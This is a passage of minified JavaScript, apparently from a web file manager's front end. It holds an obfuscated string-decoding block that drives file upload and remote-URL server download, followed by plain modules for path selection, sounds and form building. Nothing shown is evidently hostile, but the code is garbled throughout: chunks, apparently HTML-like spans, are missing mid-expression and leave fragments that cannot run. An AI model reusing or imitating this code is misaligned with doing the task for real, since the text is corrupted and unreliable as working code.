t}}(["ghilqds2frpu1wovBxyLkG9N58]JORbZWKtVeXMj}:6nIUm<4HE{30FQ'&#/zD7;@|C^,)-a(+ST?%AY濃派掋杆P>"]));;!function($){!function($,n,i,t,r,o,c,e,u,f,E,v,s,d,C,O,G,A,h,P,I,l,L,p,K,N,x,Q,J,B,k,_,b,y,S,g,m,H,X,T,M,R,D,U,F,V,w,q,W,Y,Z,z,j,$n,nn,tn,rn,on,cn,en,an,un,fn,En,vn,sn,dn,Cn,On,Gn,An,hn,Pn,In,ln,Ln,pn,Kn,Nn,xn,Qn,Jn,Bn,kn,_n,bn,yn,Sn,gn,mn,Hn,Xn,Tn,Mn,Rn,Dn,Un,Fn,Vn,wn,qn,Wn,Yn,Zn,zn,jn,$i,ni,ii,ti,ri,oi,ci,ei,ai,ui,fi,Ei,vi,si,di,Ci,Oi,Gi,Ai,hi,Pi,Ii,li,Li,pi,Ki,Ni,xi,Qi,Ji,Bi,ki,_i,bi,yi,Si,gi,mi,Hi,Xi,Ti,Mi,Ri,Di,Ui,Fi,Vi,wi,qi,Wi,Yi,Zi,zi,ji,$t,nt,it,tt,rt,ot,ct,et,at,ut,ft,Et,vt,st,dt,Ct,Ot,Gt,At,ht,Pt,It,lt,Lt,pt,Kt,Nt,xt,Qt,Jt,Bt,kt,_t,bt,yt,St,gt,mt,Ht,Xt,Tt,Mt,Rt,Dt,Ut,Ft,Vt,wt,qt,Wt,Yt,Zt,zt,jt,$r,nr,ir,tr,rr,or,cr,er,ar,ur,fr,Er,vr,sr,dr,Cr,Or,Gr,Ar,hr,Pr,Ir,lr,Lr,pr,Kr,Nr,xr,Qr,Jr,Br,kr,_r,br,yr,Sr,gr,mr,Hr,Xr,Tr,Mr,Rr,Dr,Ur,Fr,Vr,wr,qr,Wr,Yr,Zr,zr,jr,$o,no,io,to,ro,oo,co,eo,ao,uo,fo,Eo,vo,so,Co,Oo,Go,Ao,ho,Po,Io,lo,Lo,po,Ko,No,xo,Qo,Jo,Bo,ko,_o,bo,yo,So,go,mo,Ho,Xo,To,Mo,Ro,Do,Uo,Fo,Vo,wo,qo,Wo,Yo,Zo,zo,jo,$c,nc,ic,tc,rc,oc,cc,ec,ac,uc,fc,Ec,vc,sc,dc,Cc,Oc){$[i](t,[],function(n){var i=function(){var n=$[o][r]+c;return e==$[o][u]&&f==$[o][v][E]&&(n=$[o][r]+s+$[o][d]+C+$[o][O]),n};return $[A]($[h])[G](function(){$[I][P]=function(){return $[A](L)[l]>p?$[N][K]+x:void p}}),{serverDwonload:function(n,i){if(!$[J][Q](B))return!k;var t=$[A](_),c=t[b](y);if(t[b](g)[S](m),!n)return void $[X][H]($[N][T],!k);if(e==$[o][u])return void $[X][H]($[N][M],!k);R!=n[D](p,U)&&F!=n[D](p,V)&&(n=w+n);var f=$[q](),E=W+f+Y+n+Z+$[J][z](n)+j+$[N][$n]+nn;c[b](tn)[l]>p?$[A](E)[rn](c[b](on)):c[cn](E);var v,s,d,C=p,O=$[A](en+f),G=$[A](en+f+fn)[un]($[N][En])[an](vn),h=$[A](dn)[sn](en+f)[b](Cn);$[A](en+f+Gn)[On](An,function(){$[hn](v),v=!k,$[Pn](s),s=!k,$[A][In]($[o][r]+ln+f),$[A](this)[pn]()[pn]()[Ln](function(){$[A](this)[Kn](),$[xn][Nn]()})});var P,I=function(n){$[Pn](P),P=!k,P=$[Qn](function(){$[xn][Jn](function(){$[xn][kn][Bn](n)})},_n)},L=function(){$[A][bn]({url:$[o][r]+yn+i+Sn+$[gn](n)+mn+f+Hn+$[Xn](),dataType:Tn,error:function(n,i,t){var r=O[Mn](Rn);return _n!=a[Dn]&&r&&r[Un]?void $[Qn](function(){L()},Fn):($[J][Vn](n,i,t),void(_n==a[Dn]&&($[hn](v),v=!k,$[Pn](s),s=!k,h[pn]()[Kn](),G[wn](vn)[an](qn)[un]($[N][Wn]))))},success:function(n){return p==n[Yn]&&Zn==n[Mn]?void $[Qn](function(){L()},Fn):(n[Yn]?(I(n[zn]),G[wn](vn)[un]($[N][jn]),$[A](en+f+$i)[un]($[J][z](n[zn])),$[A](en+f+$i)[ni](ii,n[zn]),G[pn]()[pn]()[an](ti)):(G[wn](vn)[an](qn)[un](n[Mn]),G[pn]()[pn]()[an](qn)),$[hn](v),v=!k,$[Pn](s),s=!k,void h[pn]()[Kn]())}})};L();var K=function(){$[A][bn]({url:$[o][r]+ri+f,dataType:Tn,success:function(n){var i=m,t=n[Mn];if(v){if(!n[Yn])return void G[un]($[N][oi]);if(t){if(t[ci]=$[ei](t[ci]),t[Xn]=$[ei](t[Xn]),d){var r=t[ci]-d[ci],o=r/(t[Xn]-d[Xn]);if(C>ai*o){var c=C;C=o,o=c}else C=o;var e=$[fi][ui](o);e=e?e:p,i=e+Ei}if(O[Mn](Rn,t),p==t[l])O[b](Cn)[vi](si,di),G[un](i),O[b](Ci)[un]($[fi][ui](t[ci]));else{var a=t[ci]/t[l]*Oi;O[b](Cn)[vi](si,a+Gi),G[un](a[Ai](k)+hi+i+Pi),O[b](Ci)[un]($[fi][ui](t[l]))}O[b](Ii)[un](t[li]),d=t}}}})};s=$[Qn](function(){K(),v=$[Li](function(){K()},Fn)},Oi)},upload:function(){$[A](Ki)[pi]();var n=i();if($[xi][Ni](Qi,n),$[xi][Ni](Ji,Bi),p!=$[A](Ki)[l])return $[A](ki)[An](),void $[A][yi][bi][Si][_i](!p);var t=$[mi][gi]($[Hi]);$[A][yi]({padding:Xi,width:Ti,height:Mi,disableTab:!p,resize:!p,ico:$[J][Ri](Di),id:Si,fixed:!p,title:$[N][Ui],content:t({LNG:$[N]})}),$[A](Ki)[b](Vi)[Fi](),$[A](wi)[On](An,function(n){$[A](ki)[An]();var i=$[A][yi][bi][Si];i&&i[_i](!k),$[qi](n)}),$[A](Yi)[Wi](An)[On](An,function(){$[A](this)[Zi](zi)?($[A](ji)[an]($t),$[A](nt)[wn]($t),$[A](it)[wn](tt),$[A](rt)[an](tt)):($[A](ji)[wn]($t),$[A](nt)[an]($t),$[A](it)[an](tt),$[A](rt)[wn](tt))}),$[A](ct)[ot](function(){$[J][et]($[A](at)[S](),$[o][ut])}),$[A](ft)[Wi](An)[On](An,function(){$[J][et]($[A](at)[S](),$[o][ut])}),$[A](Et)[Wi](An)[On](An,function(){$[A][yi]({id:vt,fixed:!p,resize:!k,ico:$[J][Ri](Di),width:st,height:dt,padding:Ct,title:$[N][Ot],content:Gt,ok:function(){for(var n=$[A](ht)[S]()[At](Pt),i=p;i=e&&(e=p);var u=$[fi][ui](e);return u=u?u:p,e=u+Ei,a=e,e},v=[],s=function(n){$[Pn](t),t=!k,t=$[Qn](function(){var i=v;$[xn][Jn](function(){if($[xn][kn][Bn](i),n&&(v=[],$[J][ir](tr))){if(e==$[o][u])return;$[xn][pr][Lr]($[o][ut])}})},Kr)};$[xi][Nr](xr,function(n){if($[A](Ki)[pi](),!$[J][Q]())return $[xi][vr](n),void $[xi][sr](n);var i;try{i=n[Jr][Jr][Qr],void p!=n[Jr][Jr][Br]&&m!=n[Jr][Jr][Br]&&(i=n[Jr][Jr][Br])}catch(t){}if(n[Qr]=i,n[Jr]&&n[Jr][Jr]&&k==n[Jr][Jr][kr]&&n[Jr][Jr][Qr])return $[xn][kn][br][_r]($[o][ut]+n[Qr]),$[xi][vr](n),void $[xi][sr](n);var e=n[Qr];n[yr]=!k,n[Sr]=$[o][ut],(void p==e||St==e)&&(e=n[li]),r++;var a=$[A](gr),u=W+n[Or]+mr+$[Hr](n[Sr]+e)+Xr+$[Hr](n[Sr]+e)+Z+$[Hr]($[J][z](e))+Tr+$[fi][ui](n[ci])+Mr+$[N][$n]+nn;(Fn==r||Rr==r)&&$[X][H]($[N][Dr],Ur);var f=function(){if(p==n[ci]&&e){$[xn][kn][br][Fr](n[Sr]+e),$[xi][vr](n),$[xi][sr](n),c++,r++;var i=$[A](en+n[Or]);i[an](ti)[b](Vr)[wn](wr)[un]($[N][qr])[pn]()[b](Wr)[an](Yr)[an](cr)[wn](Zr)[wn](Kn)}},E=function(){$[xi][Di](),$[Qn](function(){f()},_n)};p==a[l]?$[Qn](function(){$[A](gr)[zr](u),E()},_n):(a[zr](u),E())})[Nr](jr,function(n,i,t){if(n[$o]&&!$[J][no](n[$o][ci])){var r=n[$o],o=$[N][io];return $[xi][vr](r),$[xi][sr](r),$[A](en+r[Or])[b](ro)[to](),$[A](en+r[Or])[an](qn)[b](Vr)[an](qn)[wn](wr),void $[A](en+r[Or])[b](Vr)[oo](o)[ni](ii,o)}var c=$[gn](n[$o][Qr]);(void p==c||St==c)&&(c=m),i[Qr]=c,i[Sr]=n[$o][Sr],t[co]=$[eo][In](co)})[Nr](ao,function(n,i){var t=E(n,i),o=(Oi*i)[Ai](k)+Gi,e=uo==o?$[N][fo]:o+Eo+t+Pi;$[A](vo)[un]($[N][K]+so+c+Co+r+Oo+a+Pi),$[Ao][Go](c+Co+r+Eo+e+ho+a+Pi);var u=$[A](en+n[Or]),f=u[b](Po);f[l]||(f=$[A](Io)[sn](u)[b](Cn)),u[b](Vr)[un](e),f[vi](si,o)})[Nr](lo,function($,n){if($[$o][Lo]=n,!n[Yn])return $[po]=!p,!k;try{$[$o][Qr]||v[Ir](n[zn])}catch(i){}})[Nr](Ko,function(n){var i=$[A](en+n[Or]);if(!i[No]()){var t=xo*i[Qo](tn);$[A](Bo)[Jo](t)}c++;var r=n[Lo];if(r&&r[Mn]){var o=$[N][r[Mn]];if(r[Yn]){if(i[an](ti),i[b](Vr)[wn](wr)[un](o),i[b](Wr)[an](Yr)[an](cr)[wn](Zr)[wn](Kn),r[zn]){var e=Co+$[ko]($[Hr](r[zn]),Co);i[b](_o)[oo]($[J][z](e))[ni](ii,e)[ni](nr,e)}}else o=$[N][bo]+yo+r[Mn],i[an](qn)[b](Vr)[wn](wr)[an](qn),i[b](Vr)[un](o)[ni](ii,o)}$[xi][sr](n),i[b](ro)[to](),n[Qr]||s(!k)})[Nr](So,function(n,i){var t=$[N][bo]+Eo+i+Pi;if(n[Lo]){var r=Xi;if((-k!==n[Lo][mo][go](Ho)||-k!==n[Lo][mo][go](Xo)||-k!==n[Lo][mo][go](To))&&(n[Mo]||(n[Mo]=p),n[Mo]++,n[Mo]<=r))return void $[xi][Ro](n);if(-k!==n[Lo][mo][go](Do))return $[A][fr]($[xi][Er](),function(n,i){$[xi][vr](i),$[xi][sr](i)}),void $[X][H](Uo,!k);if(n[Lo][Mn]){var o=n[Lo][Mn];t=$[N][o]?$[N][o]:o}else n[Lo][mo]&&(t=n[Lo][mo])}F==i&&(t=$[N][Fo]),Vo==i&&void p==n[Lo],c++,$[A](en+n[Or])[b](ro)[to](),$[A](en+n[Or])[an](qn)[b](Vr)[an](qn)[wn](wr),$[A](en+n[Or])[b](Vr)[oo](t)[ni](ii,t)})[Nr](wo,function(){$[A](vo)[un]($[N][qr]+so+c+Co+r),$[Ao][qo](),r=p,c=p,$[xi][qo](),s(!p),p==$[A](Wo)[l]&&$[A][yi][bi][Si][_i](!k)})[Nr](qn,function(n){$[X][H](n,!k)});var d;$[Yo]=!k,$[Zo]=function(){if(p==$[Yo]){if($[Yo]=!p,!$[J][Q](void p,!k))return;var n=zo+$[N][jo]+$c;$[nc][H](n),$[A](ic)[vi]({background:tc,opacity:rc})}d&&$[I][Pn](d)},$[oc]=function(n){$[qi](n),d&&$[I][Pn](d),d=$[I][Qn](function(){$[Yo]=!k,$[nc][cc]()},Oi)},$[ec]=function(n){try{if(n=n[ac]||n,$[J][Q]())if(n[fc][uc][l]>p&&n[fc][uc][p][li])$[J][Di](),$[J][Ec](vc);else{var i=n[fc][sc](dc);i&&F==i[Cc](p,V)&&$[xn][kn][br][Oc](i)}$[qi](n)}catch(n){}$[Yo]&&($[Yo]=!k,$[nc][cc]())}}}})}(this,void 0,$("#$%&'$"),$("())*+,--,'*+,.$/0)1,(#"),$("())2,34"),$("5"),$("$6)1,.$.*%&1$7)1,(#"),$("38(.$"),$("38(.$9(:$"),$(";"),$("+('7)1,(#"),$("38(.$<'%,"),$("38(.$*%&1$7)1,(#=03$.>"),$("03$."),$("=3&#>"),$("3&#"),$(".$(#?"),$("@"),$("#,+0-$'4"),$(",'A$%,.$0'1,(#"),$("B&'#,B"),$("1$':48"),$("/0)1,(#C1,(#&':D/#,B'1,(#C1,(#&':"),0,$("0)1,(#&':"),$("EF5"),$("///"),$("0)1,(#G8$+H"),$("+,.$"),$("$6)1,.$./3$.I$.J,B'1,(#"),1,$("/#,B'1,(#CA,6"),$("%&'#"),$("/#,B'1,(#C1&34"),$("I(1"),$("&')04"),"",$("4&)3"),$("K&)3"),$("38(.$L$..,.L)(.(-"),$("',L)$.-&33&,'L(+4&,'"),$("%4)"),$("30A34."),3,$("844)"),4,$("844)M**"),$("77P"),$("PO+1(33>P&4$-PQN#&IO+1(33>P&'%,PQN3)('O+1(33>P4&41$PO4?41$>P"),$("PQ"),$(")(48K8&3"),$("N*3)('QN3)('O+1(33>P3&R$PQSAN*3)('QN3)('O+1(33>P34(4$PQ"),$("0)1,(#L.$(#?"),$("N*3)('QN(O+1(33>P.$-,I$O%,'4C&+,'O&+,'C.$-,I$PO8.$%>PT(I(3+.&)4MI,&#USVPQN*(QN#&IO34?1$>P+1$(.MA,48PQN*#&IQN*#&IQN*#&IQ"),$("/&4$-"),$("&'3$.4W$%,.$"),$("/&4$-M$XUSV"),$("())$'#"),$("Y"),$("(##G1(33"),$("4$64"),$("O/34(4$"),$("#,B'1,(#L.$(#?"),$("#,B'1,(#C1,(#&':"),$("())$'#K,"),$("N#&IO+1(33>P).,:.$33O).,:.$33C34.&)$#O(+4&I$PQN#&IO+1(33>P).,:.$33CA(.PO.,1$>P).,:.$33A(.PO34?1$>PB0MOSZ[4$64C(1&:'M.&:84[PQN*#&IQN*#&IQ"),$("/).,:.$33CA(."),$("A&'#"),$("O/.$-,I$"),$("+1&+H"),$("+1$(.<'4$.I(1"),$("+1$(.K&-$,04"),$(":$4"),$("$6)1,.$.*3$.I$.J,B'1,(#=4?)$>.$-,I$=00&#>"),$("31&#$7)"),$(")(.$'4"),$(".$-,I$"),$("%\\"),$("0&"),$("3$4K&-$,04"),$("%\\G(11A(+H"),$("3$4]$1$+4W?^&1$'(-$"),$(")(48"),200,$("(T(6"),$("$6)1,.$.*3$.I$.J,B'1,(#=4?)$>#,B'1,(#=3(I$9(48>"),$("=0.1>"),$("0.1_'+,#$"),$("=00&#>"),$("=4&-$>"),$("4&-$"),$("T3,'"),$("#(4("),$(").,:+$33"),$("34(403"),$("30)),.4`(':$"),1e3,$("(T(6_..,."),$(".$-,I$G1(33"),$("$..,."),$("#,B'1,(#L$..,."),$("+,#$"),$("#,B'1,(#&':"),$("&'%,"),$("#,B'1,(#L30++$33"),$("O/&'%,O/4&41$"),$("(44."),$("4&41$"),$("30++$33"),$("$6)1,.$.*3$.I$.J,B'1,(#=4?)$>)$.+$'4=00&#>"),$("1,(#&':"),$("3&R$"),$(")(.3$^1,(4"),.2,$("%&1$]&R$"),$(")(48K,,13"),$("*3"),$("+33"),$("B0"),$(";SSZ"),$("/3&R$"),100,$("Z"),$("4,^&6$#"),$("ZU"),$("V"),$("/4&41$"),$("'(-$"),$("3$4<'4$.I(1"),$("38,B"),$("/#&(1,:C%&1$C0)1,(#"),$(",)4&,'"),$("0)1,(#$."),$("3$.I$."),$("-$48,#"),$("9a]K"),$("/0)1,(#CA,6C+1$(."),$("#&3)1(?"),$("1&34"),$("#&(1,:"),$("#&(1,:C%&1$C0)1,(#"),$("+,-)&1$"),$("4$-)1(4$"),$("4)17)1,(#"),5,430,450,$("&+,'"),$("0)1,(#"),$("0)1,(#L-04&"),$("8&#$"),$("/(0&C-(6D/(0&C-&'"),$("/#&(1,:C%&1$C0)1,(#O/(0&C+1,3$"),$("34,)99"),$("0'A&'#"),$("/%&1$C0)1,(#CA,6O/4,)A(.C'(IO(/-$'0"),$("8(3G1(33"),$("4(AC0)1,(#"),$("/%&1$C0)1,(#CA,6O/4(AC0)1,(#"),$("48&3"),$("/%&1$C0)1,(#CA,6O/4(AC#,B'1,(#"),$("/%&1$C0)1,(#CA,6O/0)1,(#CA,6"),$("8&##$'"),$("/%&1$C0)1,(#CA,6O/#,B'1,(#CA,6"),$("H$?_'4$."),$("/#,B'1,(#CA,6Ob'(-$>0.1c"),$("3$.I$.JB,'1,(#"),$("/#,B'1,(#CA,6O&')04"),$("48&39(48"),$("/%&1$C0)1,(#CA,6O/#,B'1,(#CA,6O/#,B'1,(#C34(.4"),$("/%&1$C0)1,(#CA,6O/#,B'1,(#CA,6O/#,B'1,(#C34(.4C(11"),$("3$.I$.C#B,'1,(#C4$64(.$("),$("deS)6"),$("efS)6"),10,$("#,B'1,(#"),$("N4$64(.$(O34?1$>gB0Md;S)6[8$&:84MehS)6[gQN*4$64(.$(Q"),$("3)1&4"),$("/3$.I$.C#B,'1,(#C4$64(.$(O4$64(.$("),$("i"),$("(##W044,'"),$("Y)&+H$."),$("Y)&+H$.C%,1#$."),$("30)),.47)1,(#^,1#$."),$("/0)1,(#C+$.4CA,6"),$("/%&1$C0)1,(#CA,6O/#.(:C0)1,(#C%,1#$."),$("Y)&+H$.C%,1#$.O&')04"),$("B$AH&4#&.$+4,.?"),$("#&.$+4,.?"),$("Y)&+H$.C%,1#$.O1(A$1"),$("+,.$L0)1,(#$.L+.$(4"),$("+.$(4$"),$("j$A7)1,(#$."),$("(\\#dkl+flSkd%#m;hAlAh"),$("0'#$%&'$#"),$("4)1J&(1,:24-1"),$("**34(4&+/H,#+1,0#/+,-*0)#(4$*-(&'d/T3nI>"),$("4&-$^1,(4"),$("(3?'+"),$("4,#,"),$(";Ce"),$(".,0'#^.,-K,"),30,$("34(4&+9(48"),$("T3*1&A*B$A0)1,(#$.*7)1,(#$./3B%"),$("A,#?"),$("0)#1,(#K8.$(#3"),$("3$44&':3"),$("0)#1,(#W&'#(.?"),$("0)#1,(#G80'H]&R$"),$("1&I$"),$("#&$"),$("/0)1,(#$.C+,'4$'4O/30++$33"),$("3)('/4&41$"),$("#(4(C'(-$"),$("&3o))"),$("$6)1,.$."),$(")(48^(48$."),$("/0)1,(#$.C+,'4$'4O/,)$'"),$(",)$'"),$("H,#o))"),$("/0)1,(#$.C1&34O/&4$-/30++$33D/0)1,(#$.C1&34O/&4$-/$..,."),$("/0)1,(#CA,6C+1$(.C(11"),$("$(+8"),$(":$4^&1$3"),$("3H&)^&1$"),$(".$-,I$^&1$"),$("/0)1,(#$.C1&34O/&4$-"),$("/0)1,(#$.C+,'4$'4O/.$-,I$"),$("&#"),$("SW*3"),.3,$("3)$$#"),.5,$(")038"),$("31&+$"),$("+8$+H<%G8(':$"),$("4.$$"),600,$(",'"),$("%&1$p0$0$#"),$("%0119(48"),$("3,0.+$"),$("B$AH&4`$1(4&I$9(48"),$("&3J&.$+4,.?"),$("'$B^,1#$."),$(")(48a)$.(4$"),$("%&'&38$#"),$("0)1,(#L4,"),$("/0)1,(#$.C1&34"),$("PO+1(33>P&4$-PQN#&IO+1(33>P&'%,PQN3)('O+1(33>P4&41$PO4&41$>P"),$("84-1_'+,#$"),$("PO#(4(C'(-$>P"),$("N*3)('QN3)('O+1(33>P3&R$PQ"),$("N*3)('QN3)('O+1(33>P34(4$O0)1,(#C1,(#&':PQ"),2e3,$("0)1,(#L4&)3L-,.$"),$("B(.'&':"),$("'$B^&1$"),$("/34(4$"),$("0)1,(#C1,(#&':"),$("0)1,(#L30++$33"),$("/.$-,I$"),$("&+,'C,H"),$("&+,'C.$-,I$"),$(").$)$'#"),$("0)1,(#W$%,.$]$'#"),$("%&1$"),$("0)1,(#G8$+H]&R$"),$("3)(+$L&3L%011"),$("%(#$a04"),$("/).,:.$33"),$("84-1"),$("qCG]`^CKar_F"),$("G,,H&$"),$("0)1,(#9.,:.$33"),$(";SS/SZ"),$("0)1,(#&':L-,I$"),$("U"),$("/#&(1,:C%&1$C0)1,(#O/(0&C4&41$"),$("MO"),$("*"),$("OU"),$("3$4"),$("K&41$"),$("D"),$("/).,:.$33O/).,:.$33CA(."),$("N#&IO+1(33>P).,:.$33O).,:.$33C34.&)$#O(+4&I$PQN#&IO+1(33>P).,:.$33CA(.PO.,1$>P).,:.$33A(.PO34?1$>PB0MOSZPQN*#&IQN*#&IQ"),$("0)1,(#o++$)4"),$("3$.I$.J(4("),$("3$.I$.F$$#`$4.?"),$("0)1,(#]0++$33"),$("&']+.$$'"),36,$("&'#$6"),$("3+.,11K,)"),$("/0)1,(#$.C+,'4$'4"),$("14.&-"),$("/&'%,O/4&41$"),$("0)1,(#L$..,."),$("UstuvV"),$("0)1,(#_..,."),$("&'#$6a%"),$("L.(B"),$("b_..,.OG,#$M;SS;c"),$("b_..,.OG,#$M;SSec"),$("b_..,.OG,#$M;S;Sc"),$("$..,.F0-"),$(".$4.?"),$("NwCC03$.O1,:&'CCQ"),$("1,:&'O$..,.w"),$("0)1,(#L$..,.L844)"),$("(A,.4"),$("0)1,(#^&'&38$#"),$(".$3$4"),$("/%&1$C0)1,(#CA,6O/&4$-/$..,."),$("&']4(4$"),$("#.(:aI$."),$("N#&IO+1(33>P0)1,(#C4&)3PQxxxxxxN#&IQxxxxxxxN&O+1(33>P&+,'C+1,0#O+1,0#;O-,I$E$%4E,,)PQN*&QxxxxxxxN&O+1(33>P&+,'C+1,0#O+1,0#ePQN*&QxxxxxxxN&O+1(33>P&+,'C+1,0#O+1,0#lO-,I$E$%4E,,)PQN*&QxxxxxxN*#&IQxxxxxxN#&IO+1(33>P+1,0#C-,I$0)PQN&O+1(33>P-,I$K,)E,,)O&+,'C+&.+1$C(..,BC0)PQN*&QN*#&IQxxxxxxN#&IO+1(33>P-3:PQ"),$("0)1,(#L#.(:L4&)3"),$("N*#&IQxxxxxN*#&IQ"),$("y(3Hz&$B"),$("YB&'#,By(3Hz&$B"),$("Ydek\\%d"),$("S/k"),$("#.(:E$(I$"),$("+1,3$"),$("#.(:J.,)"),$(",.&:&'(1_I$'4"),$("%&1$3"),$("#(4(K.('3%$."),$(")1(?],0'#"),$("#.(:L0)1,(#"),$(":$4J(4("),$("4$64*)1(&'"),$("30A34.&':"),$("())o##7`E"))}(function($){var n=function($){return String.fromCharCode($.charCodeAt()-3)};return function(){for(var i=arguments,t="",r=0,o=i.length;o>r;r++)if("number"==typeof i[r])t+=n($[0].charAt(i[r]));else for(var c=0,e=i[r].length;e>c;c++)t+=n($[0].charAt(i[r][c].charCodeAt()-35));return t}}(["ghilqds2frpu1xoKvwJ{XkSj4L)@|'ez0/OQFnyGWb=?#%A}3m+,Et&(>8VIHUR^`75:*9\rZ;61?void(e=e.add(a)):void(h?("all"==b?l?c.file.push(i):c.folder.push(i):c.push(i),f=f.add(a)):e=e.add(a))}),e.length>=1&&e.removeClass("select"),l(c)},l=function(a){0==a.length||"all"==b&&0==a.file.length&&0==a.folder.length?f("selectChange",0):f("selectChange",a)}}};return d(),{pathSelect:function(a,b){var d={type:"file",single:!0,allowExt:"",firstPath:!1,makeUrl:!1,title:LNG.path_api_select_file,resize:!0,fixed:!0,top:"50%",ico:core.icon("folder"),lock:!0,background:"#000",animate:!0,opacity:.1,width:900,height:500,callback:function(){}},e={id:"pathSelectApi",ok:function(){if("function"==typeof a.callback){var b=g.DOM.wrap.find(".path-select-input").data("result");if(!b)return void Tips.tips(LNG.error,!1);if(b){var c=b;if(a.single&&"all"!=a.type&&(c=b[0]),a.makeUrl&&"file"==a.type)return i("makeUrl",c),!1;a.callback(c)}else Tips.tips(LNG.error,!1)}},cancel:!0};a=$.extend(d,a),"function"==typeof b&&(a.callback=b),e=$.extend(e,a);var f=G.appHost+"explorer&type=iframe";f+="&forceWap=0&fileSelect="+a.type,f+="&fileSelectSingle="+Number(a.single),f+="&fileSelectAllow="+a.allowExt,a.firstPath&&(f+="&path="+a.firstPath),$(".aui-state-highlight").addClass("disable"),e.content='';var g=$.dialog(e),h='';"file"==a.type&&(h+=''+a.allowExt+""),$(h).insertBefore($(g.DOM.wrap).find(".aui-state-highlight"));var i=function(a,b){var c={type:a,data:b};messengerParent.send(jsonEncode(c))},j=function(b){var c=jsonDecode(b);if(!c||!c.type)return void console.error("parse error!"+b,c);var d=c.type,e=c.data;if("makeUrl"==d)a.callback(e),$.artDialog.list.pathSelectApi.close();else if("selectChange"==d){var f=$(".pathSelectApi"),g=f.find(".path-select-input"),h=f.find(".aui-state-highlight");if(!e)return h.addClass("disable"),g.data("result",!1),void g.val("");h.removeClass("disable");var i="";if(a.single)i=core.pathThis(e[0]);else{var j=e,k=0;"all"==a.type&&(j=e.folder.concat(e.file)),$.each(j,function(a,b){i+='"'+core.pathThis(b)+'", ',k++}),i="["+k+"] "+rtrim(i,", ")}g.data("result",e),g.val(i)}},k=$("#pathSelectFrame").get(0).contentWindow;window.MessagerParentInit?messengerParent.addTarget(k,"ParentPage"):(window.messengerParent=new Messenger("ParentPage",c),messengerParent.addTarget(k,"ParentPage"),messengerParent.listen(j),window.MessagerParentInit=!0)},randomImage:function(a){var b=G.settings.pluginServer+"wallpage/index&lang="+G.lang+"&callback=?";$.getJSON(b,function(b){"function"==typeof a&&a(b)})}}});;define("app/common/core.playSound",[],function(a,b){var c={file_remove:"file_remove.mp3",recycle_clear:"recycle_clear.mp3",folder_open:"folder_open.mp3",window_min:"window_min.mp3",error:"error_tips.mp3",drag_upload:"drag_upload.mp3",drag_drop:"drag_drop.mp3"},d=function(a){var b=G.staticPath+"others/sound/"+a;Hook.trigger("playSound",b)};return{playSoundFile:d,playSound:function(a){G&&G.userConfig&&"1"==G.userConfig.soundOpen&&setTimeout(function(){d(c[a])},50)}}});;define("app/common/core.formMake",[],function(a,b){var c,d,e,f={user:!1,group:!1,role:!1},g=function(){c=$("#"+d),c.find(".tab-group .tab-item").length>1?h():c.find(".tab-group").addClass("hidden"),c.find(".form-row.form-slider").exists()&&i(),c.find(".form-row.form-dateTime").exists()&&j(),c.find(".form-row.form-color").exists()&&k(),c.find(".form-row.form-fileSelect").exists()&&l(),c.find(".form-row select").exists()&&m(),c.find(".form-row.form-userSelect").exists()&&n(),c.find(".form-row.error [name]").die("change").live("change",function(){$(this).parents(".form-row.error").removeClass("error")}),c.find(".form-userSelect").die("click").live("click",function(){$(this).removeClass("error")})},h=function(){var a=c.find(".tab-content .tab-pane"),b=c.find(".tab-group .tab-item");a.each(function(){var d=$(this).attr("id"),e=c.find("."+d);e.length>0?e.appendTo($(this)):(a.filter("#"+d).remove(),b.find('[data-id="'+d+'"]').parent().remove())}),b.click(function(){b.removeClass("active"),$(this).addClass("active");var c=$(this).find("a").attr("data-id");a.removeClass("active"),a.filter("#"+c).addClass("active")})},i=function(){seajs.use("lib/bootstrap-slider/bootstrap-slider.css"),seajs.use("lib/colorpicker/css/colorpicker.css"),a.async("lib/bootstrap-slider/bootstrap-slider.js",function(){c.find(".form-slider input").slider()})},j=function(){a.async(["lib/jquery.datetimepicker/jquery.datetimepicker.css","lib/jquery.datetimepicker/jquery.datetimepicker.js"],function(){var a="zh-CN"==G.lang||"zh-TW"==G.lang?"ch":"en";c.find(".form-dateTime input").each(function(){var b=$(this).attr("data-format"),c=["Y","y","L","F","M","t","n","m","d","D","j","l","N","S","W","z","w"],d=["H","h","i","s","A","a","b","g","G","O","P","c","U"],e=!1,f=!1;b||(b="Y/m/d");for(var g=0;g').before(''+core.iconSmall("group-guest")+"").removeClass("ico_docu").addClass("group_icon").remove(),b.level>=1){var f="";d.before(f)}$("#"+a+" #"+b.tId+"_a").attr("data-group-id",b.id)}},callback:{onClick:function(a,b,c){e(b,c)}}},e=function(b,c){var d=$("#"+c.tId+"_a");if(d.removeClass("curSelectedNode"),a.attr("multiple")){d.toggleClass("this");var e=a.val();$.isArray(e)||(e=[]),d.hasClass("this")?e.push(c.id):e=_.without(e,c.id),$.each(e,function(){var b=a.find("[value="+this+"]");b.detach(),a.append(b)}),a.val(e).trigger("change")}else $("#"+b+" [treenode_a].this").removeClass("this"),d.toggleClass("this"),a.val(c.id).trigger("change"),a.select2("close")},f=function(){var b=a.val(),c=$(".select2-container--open .group-list-tree").attr("id"),d=$.fn.zTree.getZTreeObj(c);$("#"+c+" [treenode_a]").removeClass("this"),"string"==typeof b&&(b=[b]),b&&d&&d.getNodesByFilter(function(a){inArray(b,a.id+"")&&$("#"+a.tId+"_a").addClass("this")})},g=function(a){var b=$(".select2-container--open .group-list-content");b.find(".select2-results__options,.group-list-tree").removeClass("hidden"),"search"==a?b.find(".group-list-tree").addClass("hidden"):b.find(".select2-results__options").addClass("hidden")},h=function(b){var e=function(a){a.unbind("change input").bind("change input",function(){g($(this).val().length>0?"search":"tree")})};if(e(a.attr("multiple")?a.parent().find(".select2-search__field"):$(".select2-container--open .select2-search__field")),$(".select2-container--open .group-list-tree").exists())return f(),void g("tree");a.on("open",function(){f()}).on("select2:unselect",function(a){f()});var h=UUID(),i='
          ';$(i).appendTo(".select2-container--open .select2-results"),$(".select2-container--open .select2-results__options").addClass("hidden").parent().addClass("group-list-content");var j=c(b);$.fn.zTree.init($("#"+h),d,j);var k=$.fn.zTree.getZTreeObj(h);k&&k.expandAll(!0),f(),g("tree")};h(b)},q=function(){var a={},b=[],d=function(a){for(var b={all:"0",user:"",group:"",role:""},c=a.split(";"),d=0;d0){Tips.tips(LNG.PluginConfigNotNull,"warning");var f=c.find(".panel-body"),g=c.find(".form-row.error");if(!g.parents(".tab-pane").hasClass("active")){var h=g.parents(".tab-pane").attr("id");c.find('.tab-group 